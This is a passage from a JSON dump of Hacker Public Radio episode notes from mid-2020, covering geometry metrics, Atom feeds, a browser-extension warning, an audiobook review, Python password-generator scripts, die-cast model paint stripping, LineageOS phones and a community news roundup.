                                                            You can if all you want to do is measure distances in real life but if you want to work out distances from coordinates you need a metric.

                                                            \n

                                                            What's the simplest example of a metric?

                                                            \n

                                                            In 1D, distance s equals change in x coordinate.

                                                            \n

                                                            OK, can I have a more interesting example please?

                                                            \n

                                                            On a flat 2D surface, distance squared is the change in x squared plus change in y squared.

                                                            \n

                                                            Isn't that pythagoras?

                                                            \n

                                                            Yes, it is, but using the word distance and two co-ordinates.

                                                            \n

                                                            What other co-ordinates can we use for a flat 2D surface?

                                                            \n

                                                            Those x and y co-ordinates are called Cartesian co-ordinates. Instead we can use polar co-ordinates: radius r, and the angle φ (or phi) measured clockwise from the vertical. These might be more convenient in some cases, say for a dart board computer game, or if you are working with a compass bearing, eg head east for 1 km would become start at the origin (r=0) and move with phi=90° until r=1 km.

                                                            \n

                                                            Does Pythagoras still work in polar coords?

                                                            \n

                                                            Yes and no. No, it is no longer true to say that distance squared equals radius squared plus φ squared, but since the geometry is the same - a flat 2D surface - we can say that a change in distance squared equals the change in radius squared plus radius squared times the change in φ squared.

                                                            \n

                                                            Why do we have to talk about changes in s, r and φ?

                                                            \n

                                                            Because one of our coordinates now appears in the metric. That is, the radius squared multiplies on to the change in φ squared. This means that a change in φ depends on r. In other words, bigger circles have bigger circumferences. Actually, it's more intricate than that, as we must deal with infinitesimals: quantities which are very, very, very small but not zero.

                                                            \n

                                                            Can we use Cartesian or polar co-ordinates on the surface of the Earth?

                                                            \n

                                                            Only over short distances, much smaller than the radius of the Earth which is 6400 km. So up to about 100 km that's fine for many purposes, but not when flying a plane over great distances, say London to Singapore.

                                                            \n

                                                            Why not?

                                                            \n

                                                            The surface of the Earth may look locally flat but of course the Earth has a curved 2D surface. This means that this surface has a non-euclidean geometry, which means that Pythagoras does not hold and we cannot even define Cartesian co-ordinates, let alone use them.

                                                            \n

                                                            I want to know more OR my mind is not fully blown.

                                                            \n

                                                            I will probably do more shows on this.

                                                            \n

                                                            Can I have some links?

                                                            \n

                                                            Sure:

                                                            \n\n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"mathematics,relativity,physics","version":0,"downloads":0,"valid":1}, {"id":3102,"date":"2020-06-23","title":"RFC 5005 Part 2 – Webcomics, subscribers and feed readers","duration":902,"summary":"fluffy, Jamey and I go on for another ten minutes about how webcomic artists feel about feeds","notes":"

                                                            An interview with two passionate RFC 5005 fans on how to handle big Atom feeds

                                                            \n\n

                                                            This conversation took almost an hour, so I split it into two shows:

                                                            \n\n
                                                              \n
                                                            • Part 1 talks mostly about the RFC itself, what it means and why. HPR 3082
                                                            • \n
                                                            • Part 2 goes into personal experiences with the RFC and with syndication in general, in particular in the context of web comics.
                                                            • \n
                                                            \n\n

                                                            This is part 2.

                                                            \n\n

                                                            In this show I’m talking to:

                                                            \n\n

                                                            fluffy

                                                            \n\n\n\n

                                                            Jamey

                                                            \n\n\n\n

                                                            Conversation notes

                                                            \n\n
                                                              \n
                                                            • Back in 2002, Aaron Swartz published his joke MIME-header-based RSS 3:
                                                              \nhttps://www.aaronsw.com/weblog/000574
                                                              \nThe cultural context at the time and the rivalry between RSS 0.91+, RSS 1.0, RSS 2.0 and Atom deserves a show of its own.
                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"webcomics, rfc5005, atom, rss, feeds","version":0,"downloads":0,"valid":1}, {"id":3103,"date":"2020-06-24","title":"A warning about browser extensions and add-ons.","duration":93,"summary":"A unmaintained extension lead to a popup storm","notes":"

                                                            \nI started getting popups while going to safe websites in chromium-browser. I disabled all browser extensions and then turned them back on individually. I found one that which was causing the problem and it is no longer on the app store. It was however still working and had not been revoked on my browser.\n

                                                            \n

                                                            \nPlease check your extensions and add-ons to make sure they are regularly updated.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"extensions,add-ons,firefox,chromium,chrome,thunderbird","version":0,"downloads":0,"valid":1}, {"id":3104,"date":"2020-06-25","title":"HPR AudioBook Club 19 - Tincture: An Apocalyptic Proposition","duration":7607,"summary":"The HPR Audiobook Club reviews the audiobook Tincture by Matthew D. Jordan","notes":"

                                                            In this episode, the HPR_AudioBookClub discusses Tincture: An Apocalyptic Proposition written by Matthew D. Jordan

                                                            \n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • If you don't like knowing what is going on until halfway through the book, then this book is for you.
                                                            • \n
                                                            • The book uses a very interesting type of speech that was all kinda dig.
                                                            • \n
                                                            • Some of us liked this book so much that we mainlined the sequel immediately.
                                                            • \n
                                                            • This feels a lot like \"The Dark Tower\" series by Stephen King, and even references it.
                                                            • \n
                                                            • We talk about the use of Hebrew in the character names in the story.
                                                            • \n
                                                            • The music for the book is excellent, and matches the story very well.
                                                            • \n
                                                            • How do you make alcohol in the apocalypse?
                                                            • \n
                                                            • This also feels a lot like the Fallout games.
                                                            • \n
                                                            • The return of PLOT BULLETS!!!!
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n

                                                            As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: Made my own tincture of homemade iced tea and lemonade mixed. Tastes good. Thaj still can't grow lemons though :(
                                                            • \n
                                                            • x1101: Wild Turkey Rare Breed
                                                            • \n
                                                            • pokey: I have beer this month it's pretty good. I Like it, but I don't love it. I also bought a few of the credit card sized tools that we talked about on our last episode. In short they are interesting, but mostly not very useful.
                                                            • \n
                                                            • FiftyOneFifty: Shiner Prickly Pear. This unusual beer came as a complete surprise to me because I was frankly expecting a sweet peary. Instead I was confronted by a very dry, only slightly hoppy (20 IBU) beer without much flavor but a lasting aftertaste that is slightly sweet. Those Shiner boys aren't messing around, they make beer with cactus. I really did not enjoy the first beer but by the end of the six it is growing on me. Though it would be refreshing on a hot day, I doubt I will be buying it again.
                                                            • \n
                                                            \n

                                                            Things We talked about

                                                            \n
                                                            \n
                                                              \n
                                                            • We talk about the connections to \"The Dark Tower\"
                                                            • \n
                                                            • \"Blue\" Irons (Marcs/Afulan/Rolands guns)
                                                            • \n
                                                            • Another big gun
                                                            • \n
                                                            • Is this time travel, dimension travel, or something entirely different?
                                                            • \n
                                                            • The ties to Judeo-Christian mythology is interesting to Thaj.
                                                            • \n
                                                            • Is getting the answers about the setting what you really want?
                                                            • \n
                                                            • The book doesn't exactly get guns right...
                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            Quarter Share by Nathan Lowell

                                                            \n

                                                            The Next Audiobook Club Recording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.

                                                            \n

                                                            Further Recommendations

                                                            \n
                                                            \n
                                                              \n
                                                            • Skull Flash
                                                            • \n
                                                            • That IT life
                                                            • \n
                                                            • Automating Android
                                                            • \n
                                                            • Titanium Backup
                                                            • \n
                                                            • What happened to Lyle's cookbook?
                                                            • \n
                                                            • CyanogenMod v. CyanogenOS
                                                            • \n
                                                            • Thaj predicts the name change to LineageOS
                                                            • \n
                                                            • OpenStreetMap
                                                            • \n
                                                            • Automated Cars
                                                            • \n
                                                            • H&K
                                                            • \n
                                                            \n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time we record a new episode. Please leave a few words in the episode's comment section.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                            Threshold: -30db\nNoise Floor: -50db\nRatio: 3:1\nAttack Time: 0.2sec\nDecay Time: 1.0 sec\n
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR Audiobook Club, Audiobooks, SciFi, Western","version":0,"downloads":0,"valid":1}, {"id":3105,"date":"2020-06-26","title":"Akaso EK7000 Pro","duration":1009,"summary":"My experience with an inexpensive Waterproof action camera called the Akaso EK7000 Pro","notes":"

                                                            Action cameras are becoming very popular, and many incorporate a waterproof feature. If you want to try this with something less expensive than a GoPro, take a look at this review.

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Camera, Waterproof Camera, Action camera","version":0,"downloads":0,"valid":1}, {"id":3106,"date":"2020-06-29","title":"Linux Inlaws S01E09 Postgres","duration":3851,"summary":"The lads talk to Bruce Momjian Postgres evangelist","notes":"

                                                            S01E09:

                                                            \n

                                                            Postgres
                                                            \nListen to our two OAP interviewing Bruce\nMomjian, Postgres evangelist and long-time supporter of this popular SQL\ndatabase. Expect lots of strong language around SQL and NoSQL topics and\nsome ranting about MINT's attitude towards snaps, a fun breach of a health\nservice provider in the UK and why broadcasters should stick to\nmonopolies.

                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Postgres, SQL, NoSQL, MINT","version":0,"downloads":0,"valid":1}, {"id":3107,"date":"2020-06-30","title":"Generating comfortable passwords","duration":1800,"summary":"generating passwords to be comfortably type-able","notes":"

                                                            Random Password Generation

                                                            \n

                                                            First implementation: 14 character long with 6 letters and 8 digits

                                                            \n
                                                            #!/usr/bin/env python3\n# file: passgen-v1.py\n\nimport random\n\nLETTERS = "abcdefghijklmnopqrstuvwxyz"\n\nif __name__ == "__main__":\n\n    passwd = []\n\n    for i in range(6):\n            passwd.append(random.choice(LETTERS))\n\n    for i in range(8):\n            passwd.append(random.choice("1234567890"))\n\n    print("".join(passwd))\n
                                                            \n

                                                            The passwords that come out of this are a bit difficult to type so I forced it to alternate between the left and right hands

                                                            \n
                                                            #!/usr/bin/env python3\n# file: passgen-v2.py\n\nimport random\n\nLEFTS = "',.pyaoeui;qjkx"\nRIGHTS = "fgcrldhdhtns-bmwvz"\n\nif __name__ == "__main__":\n\n    passwd = []\n\n    for i in range(6):\n        if i % 2 == 0:\n            passwd.append(random.choice(LEFTS))\n        else:\n            passwd.append(random.choice(RIGHTS))\n\n    for i in range(8):\n        if i % 2 == 0:\n            passwd.append(random.choice("123456"))\n        else:\n            passwd.append(random.choice("7890"))\n\n    print("".join(passwd))\n
                                                            \n

                                                            The regularity of switching between left and right hands (intuitively, and almost surely) decreases the entropy of the password, so use markov models to make that happen for the most part but critically NOT enforce it.

                                                            \n
                                                            #!/usr/bin/env python3\n# file: passgen-v3.py\n\nimport random\n\nLs = [\n    "aoeui",  # L1\n    "',.py",  # L2\n    ";qjkx",  # L3\n    "123456", # L4\n    "-snthd", # R1\n    "lrcgf",  # R2\n    "zvwmb",  # R3\n    "7890"    # R4\n]\n\nA = [[ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [.004, .003, .003, .09,  .03,  .03,  .03, .81],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .03,  .03,  .03, .81, .004, .003, .003, .09]]\n\npi = [ .41, .03, .03, .03, .41, .03, .03, .03]\n\ndef sample( l ):\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\n    u = random.uniform(0,1)\n    for j,v in enumerate(l_partial):\n        if v > u:\n            return j\n\nif __name__ == "__main__":\n\n    passwd = []\n\n    s = sample(pi)\n    for i in range(20):\n        s = sample(A[s])\n        passwd.append(random.choice(Ls[s]))\n\n    print("".join(passwd))\n
                                                            \n

                                                            For increased entropy should also consider peppering in a few upper case characters.

                                                            \n
                                                            #!/usr/bin/env python3\n# file: passgen-v3.py\n\nimport random\n\nLs = [\n    "aoeui",  # L1\n    "',.py",  # L2\n    ";qjkx",  # L3\n    "123456", # L4\n    "-snthd", # R1\n    "lrcgf",  # R2\n    "zvwmb",  # R3\n    "7890"    # R4\n]\n\nA = [[ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\n     [.004, .003, .003, .09,  .03,  .03,  .03, .81],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\n     [ .03,  .03,  .03, .81, .004, .003, .003, .09]]\n\npi = [ .41, .03, .03, .03, .41, .03, .03, .03]\n\nUPPER=.1\n\ndef sample( l ):\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\n    u = random.uniform(0,1)\n    for j,v in enumerate(l_partial):\n        if v > u:\n            return j\n\nif __name__ == "__main__":\n\n    passwd = []\n\n    s = sample(pi)\n    for i in range(20):\n        s = sample(A[s])\n        c = random.choice(Ls[s])\n        u = random.uniform(0,1)\n        if u < UPPER:\n            c = c.upper()\n        passwd.append(c)\n\n    print("".join(passwd))\n
                                                            \n

                                                            Finally, generating the matrix by hand was a bit of a pain, so I made it a bit easier by making a small procedure with few control knobs (the variables SWITCH_HAND and SWITCH_CHAR which control how likely it is that a character pair will result in a hand switch, or a switch between general characters and digits).

                                                            \n
                                                            #!/usr/bin/env python3\n\nimport random\nimport numpy\n\n# this version uses a markov chain to make it more likely to alternate hands\n# (in dvorak) so that the password is easy to type (in dvorak)\n\nLs = [\n    "aoeui",  # L1\n    "',.py",  # L2\n    ";qjkx",  # L3\n    "123456", # L4\n    "-snthd", # R1\n    "lrcgf",  # R2\n    "zvwmb",  # R3\n    "7890"    # R4\n]\n\nSWITCH_HAND = .8\nSWITCH_CHAR = .3\nUPPER=.1\n\ndef prob( i , j ):\n    switch_hand = int(i / 4) != int(j / 4)\n    to_num = (j % 4) == 3\n    from_num = (i % 4) == 3\n\n    prob = 1\n\n    if to_num and from_num:\n        prob *= (1 - SWITCH_CHAR)\n    elif to_num:\n        prob *= (SWITCH_CHAR)\n    elif from_num:\n        prob *= (SWITCH_CHAR / 3)\n    else:\n        prob *= ((1 - SWITCH_CHAR) / 3)\n\n    if switch_hand:\n        prob *= SWITCH_HAND\n    else:\n        prob *= (1 - SWITCH_HAND)\n\n    return prob\n\n\nA = numpy.array([ [ prob(i,j) for j in range(8)  ] for i in range(8) ])\n\npi = [ 1.0 / 8 for i in range(8) ]\n\ndef sample( l ):\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\n    u = random.uniform(0,1)\n    for j,v in enumerate(l_partial):\n        if v > u:\n            return j\n\nif __name__ == "__main__":\n\n    passwd = []\n\n    s = sample(pi)\n    for i in range(20):\n        s = sample(A[s])\n        c = random.choice(Ls[s])\n        u = random.uniform(0,1)\n        if u < UPPER:\n            c = c.upper()\n        passwd.append(c)\n\n    print("".join(passwd))\n
                                                            \n","hostid":385,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"passwords, python","version":0,"downloads":0,"valid":1}, {"id":3108,"date":"2020-07-01","title":"Fuguita as a Desktop","duration":3148,"summary":"I cover all the wonderful things about using Fuguita as your Desktop","notes":"

                                                            I cover many issues about using OpenBSD based Fuguita as your Desktop. I wouldn't have it any other way, I use Fuguita for my main Desktop these days.

                                                            \n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OpenBSD,Fuguita,Desktop,Portability,Sanity","version":0,"downloads":0,"valid":1}, {"id":3109,"date":"2020-07-02","title":"Matchbox Restoration Part 4","duration":277,"summary":"In this the 4th in the series Tony discusses paint removal on the castings of the MK10 Jaguars","notes":"

                                                            Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 4th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process of stripping the models down to their component parts. In this episode I will discuss the process I use to remove the paint and prepare the casting for repainting and reassembly.

                                                            \n

                                                            So first off, and I should have said this last episode, a health and safety warning. If there are young people listening to this some of the things talked about on today's show require parental supervision, and are not recommended for young people unless properly supervised. So with that public service announcement out of the way let's get on with the show.

                                                            \n

                                                            So before the base can be put in the paint stripper the wheels and axles need to be removed. As you can see from the picture there are flanges holding on the wheels to the metal axle and one side is only a small flange.

                                                            \n

                                                            Picture 000
                                                            \n\"Picture

                                                            \n

                                                            This can be removed with a small needle file or a small rotary file attachment for my rotary tool. Once removed the bases can be put in with the rest of the casting for paint removal.

                                                            \n

                                                            Picture 001
                                                            \n\"Picture

                                                            \n

                                                            So let's talk about paint removal, obviously the first one you will think of is some kind of chemical paint stripper and I use 2 different methods of this. The first and probably the safest in the first instance is a commercial paint stripper from one of the chain DIY stores here in the UK, B&Q. There is a local store about 10 minutes drive from me so it is convenient during normal shopping times just to pop in and grab a 2.5Ltr container of their own brand DIAL paint stripper that is fantastic for this job and quite economic.

                                                            \n

                                                            The second is a little more aggressive if you need fast results but requires a little more in the way of care when using it as it is very corrosive and can be harmful if the fumes are breathed in, or the product gets onto your skin or in your eyes. This is caustic soda and I buy this through eBay and have it delivered in 1Kg pouches. It needs to be stored in an air tight container in a dry environment to keep it from getting damp as this is a potential fire hazard as if it gets contaminated buy moisture a chemical reaction starts which generates heat. So if you go with the caustic soda method you need to take adequate safety precautions. With the Jaguar I mainly used the caustic soda method to remove the paint but one casting I put in the paint stripper to show that method.

                                                            \n

                                                            With the caustic soda place the castings in a jar with enough room to cover with just boiled water so that it does not overflow when the caustic soda crystals are added slowly, I use a long handle tea spoon and add 2-3 tea spoons of the soda until it has a good fizz. Then leave for about 15 minutes but the longer the better, I sometimes do this and leave over night and this gives a great result. Remember to wear gloves when doing this to prevent getting the caustic on your hands.

                                                            \n

                                                            Picture 002
                                                            \n\"Picture

                                                            \n

                                                            Picture 003
                                                            \n\"Picture

                                                            \n

                                                            Picture 004
                                                            \n\"Picture

                                                            \n

                                                            Picture 005
                                                            \n\"Picture

                                                            \n

                                                            With the paint stripper I have a plastic click lock box with this in that I immerse the casting into and leave for several hours for best results. This can be reused many times as you can see in this picture keeping it an economic method as most of the stripper is left in the box when you remove the casting. The results for both methods are similar, but I find the caustic although you need to be careful, is the less messy of the two options, and the casting is easier to clean after paint removal.

                                                            \n

                                                            Picture 006
                                                            \n\"Picture

                                                            \n

                                                            So after removal of the paint the castings are polished up with either a hand wire brush or a wire brush attachment for the rotary tool. You can see the base before and after and a picture of the polished main casting in the notes.

                                                            \n

                                                            Picture 007
                                                            \n\"Picture

                                                            \n

                                                            Picture 008
                                                            \n\"Picture

                                                            \n

                                                            So we now have a casting ready for repainting, which I will cover in the next episode. So until next time this is Tony Hughes saying goodbye to all those in HPR land. Keep safe until the next instalment.

                                                            \n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox Cars,Diecast Models,Restoration,paint removal,caustic soda,paint stripper","version":0,"downloads":0,"valid":1}, {"id":3110,"date":"2020-07-03","title":"Finding an Android phone to run LineageOS","duration":2277,"summary":"Join Ken on this 6 year long journey of success but also failure","notes":"

                                                            Finding an Android phone to run LineageOS

                                                            \n

                                                            Affordable phone that support school apps, and allow firewall.

                                                            \n

                                                            TL;DR

                                                            \n

                                                            Don't, unless you are willing to loose the money you are paying.

                                                            \n

                                                            Requirements

                                                            \n
                                                              \n
                                                            • Supported for 3-5 years.
                                                            • \n
                                                            • Apps = Android = LineageOS
                                                            • \n
                                                            • Firewall = AFWall+ = Unlocked + Root
                                                            • \n
                                                            • Affordable
                                                            • \n
                                                            \n

                                                            Support

                                                            \n

                                                            Getting a brand new phone means that Developers have not had time to release code.

                                                            \n

                                                            Older phones are no longer available for purchase, and actually become more expensive.

                                                            \n

                                                            Too old a version and apps are no longer supported.

                                                            \n

                                                            Finding a phone that can be unlocked

                                                            \n

                                                            I use a site called Tweakers.net which allows you to do parameter search.

                                                            \n

                                                            Set the maximum price you are willing to pay.

                                                            \n

                                                            The current version of Android is 10 so select only those. You want your phone to be supported for as long as possible.

                                                            \n

                                                            Make any other selections that you think are critical, like memory, processor etc but be prepared to adjust this later.

                                                            \n

                                                            In my case I selected a minimum of 4G Ram and 64G Storage the first time.

                                                            \n

                                                            Sort by price low to high, and loop through, finding what support there is for TWRP. That will tell you how open the phone is. If the Manufacturer support (the spirit of) unlocking, then remove them from the list.

                                                            \n
                                                              \n
                                                            • HTC support unlocking but not don't give code to the developers so it's useless.
                                                            • \n
                                                            • Motorola support was good but since the take over by Lenovo they have stopped supporting unlocking.
                                                            • \n
                                                            • Google phones are unlocked and are ideal for developers but are too expensive.
                                                            • \n
                                                            • Xiaomi requires you to wait until the EU 14 day no questions asked warranty has expired.
                                                            • \n
                                                            • Fairphone too expensive.
                                                            • \n
                                                            • PinePhone may be an option but people report the current version being too slow.
                                                            • \n
                                                            \n

                                                            After finding a phone that can be unlocked and rooted, then check to see if there is an official version for LineageOS

                                                            \n

                                                            If no phone meets all the requirements then try the next one.

                                                            \n

                                                            It's very likely you will not find a phone. You are then faced with the choice of adjusting your parameters, for example picking a more expensive model, but at the end of the day be prepared that you may not find a phone.

                                                            \n

                                                            If you do find a phone, it's very likely that it may be a different version than the one supported. I have had to return several phones that I had unlocked and just hoped that the supplier would take them back and refund me.

                                                            \n

                                                            Even on supported phones, especially newer ones, it's quite often that a major piece of functionality will not work. I have had issues with no GPS on one phone, and bluetooth/wifi not working on another until files were manually edited on each reboot.

                                                            \n

                                                            Do not do this if you want a stress free life, and also if you are not willing to accept the waste of all the money, and time involved.

                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"TWRP,Tweakers,LineageOS,scrcpy,tektab.com,bootloader,fastboot,Sony Xperia XA2,pinephone","version":0,"downloads":0,"valid":1}, {"id":3111,"date":"2020-07-06","title":"HPR Community News for June 2020","duration":3596,"summary":"Dave struggles to keep Ken on track as they talk about shows and comments in June 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3086Mon2020-06-01HPR Community News for May 2020HPR Volunteers
                                                            3087Tue2020-06-02Phonetic alphabetklaatu
                                                            3088Wed2020-06-03Matchbox Restoration Part 2Tony Hughes AKA TonyH1212
                                                            3089Thu2020-06-04For my EntertainmentArcher72
                                                            3090Fri2020-06-05Locating Computer on a Enterprise Networkoperat0r
                                                            3091Mon2020-06-08fuguservZen_Floater2
                                                            3092Tue2020-06-09Pens, pencils, paper and ink - 2Dave Morriss
                                                            3093Wed2020-06-10Response to Linux Inlaws S01E06 (hpr 3079) on NeXTClaudio Miranda
                                                            3094Thu2020-06-11Holy crud! I have a kinesis advantage 2 keyboard!sigflup
                                                            3095Fri2020-06-12Intro to GIMPAhuka
                                                            3096Mon2020-06-15Unscripted ramblings on a walk: PC Building.Christopher M. Hobbs
                                                            3097Tue2020-06-16Linux Inlaws S01E07 The Big Blue Buttonmonochromec
                                                            3098Wed2020-06-17Matchbox Restoration Part 3Tony Hughes AKA TonyH1212
                                                            3099Thu2020-06-18Linux Inlaws S01E08 The review of the reviewmonochromec
                                                            3100Fri2020-06-19For your consideration - Makers CornerKen Fallon
                                                            3101Mon2020-06-22MetricsAndrew Conway
                                                            3102Tue2020-06-23RFC 5005 Part 2 – Webcomics, subscribers and feed readersclacke
                                                            3103Wed2020-06-24A warning about browser extensions and add-ons.Ken Fallon
                                                            3104Thu2020-06-25HPR AudioBook Club 19 - Tincture: An Apocalyptic PropositionHPR_AudioBookClub
                                                            3105Fri2020-06-26Akaso EK7000 ProAhuka
                                                            3106Mon2020-06-29Linux Inlaws S01E09 Postgresmonochromec
                                                            3107Tue2020-06-30Generating comfortable passwordscrvs
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n5 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3056\n(2020-04-20) \"Jitsi\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 8:\noperat0r on 2020-06-13:\n\"dERp\"

                                                              \n
                                                            • hpr3072\n(2020-05-12) \"The joy of pip-tools and pyenv-virtualenv\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2020-06-02:\n\"The joy is real\"

                                                              \n
                                                            • hpr3079\n(2020-05-21) \"Linux Inlaws S01E06 Porn and Trump\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nfrank on 2020-06-15:\n\"The sketch\"

                                                              \n
                                                            • hpr3082\n(2020-05-26) \"RFC 5005 Part 1 – Paged and archived feeds? Who cares?\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2020-06-02:\n\"Atom \"tombstones\" RFC\"

                                                              \n
                                                            • hpr3083\n(2020-05-27) \"Mumbling while on lockdown\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nWindigo on 2020-06-03:\n\"Modern Sheevaplug support\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2020-06-04:\n\"Re: Modern Sheevaplug support\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3087\n(2020-06-02) \"Phonetic alphabet\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncrvs on 2020-06-02:\n\"you forgot november\"

                                                              \n
                                                            • hpr3090\n(2020-06-05) \"Locating Computer on a Enterprise Network\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2020-06-05:\n\"Thanks for reminding me\"
                                                              • Comment 2:\ncmhobbs on 2020-06-08:\n\"quality episode\"

                                                              \n
                                                            • hpr3091\n(2020-06-08) \"fuguserv\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2020-06-08:\n\"read only router\"
                                                              • Comment 2:\nlZen_Floater1 on 2020-06-11:\n\"READ ONLY ROOTS\"

                                                              \n
                                                            • hpr3093\n(2020-06-10) \"Response to Linux Inlaws S01E06 (hpr 3079) on NeXT\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmonochromec on 2020-05-27:\n\"The review of the review\"

                                                              \n
                                                            • hpr3094\n(2020-06-11) \"Holy crud! I have a kinesis advantage 2 keyboard!\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncmhobbs on 2020-06-11:\n\"great keyboard\"

                                                              \n
                                                            • hpr3095\n(2020-06-12) \"Intro to GIMP\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-06-14:\n\"the gimp\"
                                                              • Comment 2:\nAhuka on 2020-06-14:\n\"I'm glad it helped\"

                                                              \n
